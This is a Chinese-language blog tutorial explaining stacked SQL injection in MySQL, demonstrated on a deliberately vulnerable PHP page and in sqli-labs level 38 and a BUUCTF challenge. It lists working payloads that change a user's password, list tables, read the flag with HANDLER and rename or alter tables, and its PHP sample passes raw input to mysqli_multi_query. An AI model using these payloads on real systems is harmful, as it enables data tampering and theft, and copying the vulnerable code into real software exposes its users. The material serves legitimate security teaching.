sql注入之堆叠注入

这篇具有很好参考价值的文章主要介绍了sql注入之堆叠注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、堆叠注入的原理

mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句


比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束

  • select * from student;
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁

  • select * from student;select current_user();
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

显而易见堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的息,可以通过简单的流程图来了解过程

二、堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

  1. 目标存在sql注入漏洞
  2. 目标未对";"号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条sql语句

可以做一个简单的实验,创建test.html和test.php两个文件内容分别为

  • test.html
    <html>
        <head><title>学生ID查询</title><head>
        <body>
            <form method="get" action="index.php">
                <input type="text" placeholder="输入学生id查询成绩">
                <br>
                <input type="submit">
            </form>
        </body>
    </html>
  • index.php (页面写的有点着急不要介意哈!
<?php
$id=$_GET['id'];
$con=mysqli_connect("localhost","root","123","test");
if (mysqli_connect_errno($con))
{
    echo "Failed to connect to MySQL: ".mysqli_connect_error();
}
mysqli_select_db($con, "test");
$sql="SELECT * FROM student WHERE id='$id'";
mysqli_multi_query($con, $sql);
$result = mysqli_store_result($con);
$row = mysqli_fetch_row($result);
print_r($row);
echo "<br>";
echo "you sql:  ".$sql.";";
mysqli_close($con);
?>

在mysql命令行中创建一个test数据库,再创建一个student表插入一些数据

create database test;use test;create table student( id int, name varchar(100), score varchar(100));insert into student(id,name,score) values(1,"toert","100"),(2,"giao","10");

先检查一下页面功能是否正常

堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

直接构造堆叠注入去创建一张test表参照student表的数据

  • ?id=1’;create table test like student;#
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

可以看到原来的sql语句经过堆叠注入恶意构造变成了SELECT * FROM student WHERE id=‘1’;create table test like student;

三、堆叠注入实战

0x1 sqli-labs38关卡

sqli-labs靶场包含了很多类型的sql注入环境,不知道怎么搭建的可以看上一篇的sql注入环境搭建


传入单引号报错,发现错误回显分析后构造单引号闭合发现字符型注入

  • ?id=1'
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全
  • ?id=1' or '1'='1
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

经过测试存在union联合注入,使用联合注入爆破出users表中有id、username、password三个 字段,于是尝试堆叠注入将id为1的用户密码改成123,可以配合联合查询来判断sql是否执行

  • 1' union select 1,2,3;update users set password=123 where id=1--+
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

然后再次查询id为1的用户时发现password信息已经被成功执行,说明目标存在堆叠注入,如果目标没有限制执行的sql语句,那就可以随心所欲的执行你想要执行的sql语句了!

  • ?id=1
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

0x2 BUUCTF的一道堆叠注入题目

测试注入点发现GET型字符注入,

  • ?inject=1' or '1'='1
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

order by爆破字段2

  • ?inject=1' order by 3%23
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

配合union select发现过滤规则

  • ?inject=1' union select 1,2%23
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

没有过滤分号,测试堆叠注入成功,查询当前数据库的表有1919810931114514words两张表

  • ?inject=1';show tables%23
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

接下来查询每张表中有哪些列明,继续使用堆叠注入配合show,发现191开头的表中存在flag关键字,这边需要注意一下的是因为这张表的名字为纯数字,在使用时需要通过"`"号括起来

  • ?inject=-1’;show columns from `1919810931114514` %23
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

因为目标过滤了select语句所以直接查询是不太可能了,这时就得用到其他可以读取表数据的方法,在网上找了找发现mysql数据库中可以使用handler语句读取表中的数据,阅读官方文档后发现这玩意就相当于一个数据指针,先创建要一个准备读取的对象然后操作这个数据指针去读取表中的数据,help查看用法如下

  • help handler;
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全
  1. handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
  2. handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
  3. handler 别名 close;(将这个句柄实例关闭)

了解handler的用法再配合堆叠注入拿到flag

  • ?inject=1';handler1919810931114514open as toert;handler toert read next%23
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

对于这道题目网上搜了一下还有一种做法,就是将1919810931114514表改成words表,然后使用alter table将1919810931114514表中的falg列名修改为words中的id列名,然后通过原本的查询将flag查询出来,具体payload如下

  • ?id=1';rename table words to word;rename table1919810931114514to words;alter table words change flag id varchar(100);show tables;
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全
  • ?id=1' or '1'='1
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

第二种通过修改表名字段的方式最好再用alter table add将1919810931114514表新增一个名为data列,这样就完美模拟了原来的words表结构,没有增加data列是因为目标原本的select语句应该是select * from words where id=’’,因为加了“*”所以什么都能查出来,如果语句为select id,data from words,那用原本的方法就没办法查出flag值了,因为找不到data列select语句会报错,针对这个情况可以做一个简单的实验


使用select查询固定列名信息

  • select id,name from student
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

当student表中没有name字段后再通过刚刚的语句就会报错文章来源地址https://www.toymoban.com/news/detail-636773.html

  • alter table drop name;
  • select id,name from student;
    堆叠注入,sql注入安全,sql,mysql,php,信息安全,网络安全

到了这里,关于sql注入之堆叠注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全】初探SQL注入漏洞

    要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。 登录需要输入账号密码,等待提交后进入系统; 注册需要输入名字,密码,手机号,照片,等待提交后进入系统; 首页需要利用PHP和数据库联动后的查询语句,

    2024年02月16日
    浏览(32)
  • 「网络安全」SQL注入攻击的真相

    点击此处即可获得282G网络安全学习资料 我们生活在数据的黄金时代。有些公司将其分析为更好的自己,有些公司为了获利而进行交易,没有一家公司因其价值而自由放弃 - 对于他们的业务和犯罪分子。 SQL(结构化查询语言)是一种非常流行的与数据库通信的方式。虽然许多

    2024年02月07日
    浏览(38)
  • 网络安全-初学SQL注入&基本概念

    SQL语句:解释SQL(Structured Query Language)是一种用于与关系型数据库进行交互的语言。SQL语句用于执行各种数据库操作,例如插入、更新、删除和查询数据。 用户输入与SQL查询的拼接:说明应用程序通常会接受用户的输入,并将其用作构建SQL查询语句的一部分。这种拼接用户

    2024年02月13日
    浏览(29)
  • 网络安全之SQL注入及防御(下篇)

    目录 什么是SQL注入? 一,SQL注入会导致什么呢? 二,SQL注入思想与步骤 三,SQL注入的绕过 四,sqlmap工具的使用  五,sql注入的防御方法 总结 什么是SQL注入? SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在

    2024年04月28日
    浏览(31)
  • 【网络安全】SQL注入漏洞的修复建议

    SQL注入是Web应用程序常见的安全漏洞之一,攻击者通过恶意构造的SQL查询语句,成功在应用程序的数据库中执行任意操作,导致数据泄露、篡改或其他安全问题。 本篇技术博客将详细介绍SQL注入漏洞的修复建议,包括过滤危险字符和使用预编译语句,通过具体的代码案例帮助

    2024年02月06日
    浏览(40)
  • 网络安全B模块(笔记详解)- SQL注入

    1.使用渗透机场景kali中工具扫描服务器场景,将apache的端口号和版本号作为Flag提交(格式:端口号_版本号)  Flag:8081_7.5 2.使用渗透机场景windows7访问服务器场景SQL网站,并将网站中概述页面中的Flag提交; Flag:sql_is_good 3.使用渗透机场景windows7访问服务器中的SQL网站中的数

    2024年01月20日
    浏览(38)
  • 网络安全进阶学习第九课——SQL注入介绍

    将 不受信任 的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在 没有适当授权 的情况下执行非预期命令或访问数据。 注入能导致 数据丢失、破坏 或 泄露给无授权方 ,缺乏可审

    2024年02月14日
    浏览(37)
  • SQL注入 ❤ ~~~ 网络空间安全及计算机领域常见英语单词及短语——网络安全(二)

    就比如登录页面,输入用户名admin和密码123456,网页告诉服务器我的用户名和密码,服务器就会去问数据库,有没有这个用户名admin并且密码为123456的用户,服务器收到数据库的回答就回去告诉网页,有这个用户就登录成功,没有就登录失败。SQL注入就是在网页告诉服务器我的

    2024年02月13日
    浏览(31)
  • 【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解

    严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。 【点击此处即可获取282G网络安全零基础入门学习资源】 信息搜集在

    2024年02月06日
    浏览(39)
  • 【网络安全】「漏洞原理」(一)SQL 注入漏洞之概念介绍

    严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。 SQL 注入(SQL Injection) 是一种常见的网络攻击技术,它利用应用程序

    2024年02月06日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包